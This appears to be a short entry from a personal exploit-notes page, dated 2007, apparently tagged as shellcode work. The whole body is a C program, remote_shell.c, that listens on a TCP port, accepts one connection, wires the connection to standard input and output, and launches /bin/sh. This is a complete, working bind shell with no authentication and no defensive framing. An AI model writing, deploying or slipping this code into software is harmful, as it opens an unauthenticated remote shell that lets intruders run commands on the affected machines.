NENote of Exploiting


[SC] 2007-08-01 : remote_shell.c


#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(){
    char *name[2];
    int fd,fd2,fromlen;
    struct sockaddr_in serv;

    fd=socket(AF_INET,SOCK_STREAM,0);
    serv.sin_addr.s_addr=0;
    serv.sin_port=0xAAAA;
    serv.sin_family=AF_INET;

    bind(fd,(struct sockaddr *)&serv,16);
    listen(fd,1);

    fromlen=16; /*(sizeof(struct sockaddr)*/
    fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);

    /* "connect" fd2 to stdin,stdout,stderr */
    dup2(fd2,0);
    dup2(fd2,1);
    dup2(fd2,2);

    name[0]="/bin/sh";
    name[1]=NULL;
    execve(name[0],name,NULL);
}

Copyleft (C) 2007 Len. All Rights Not Reserved.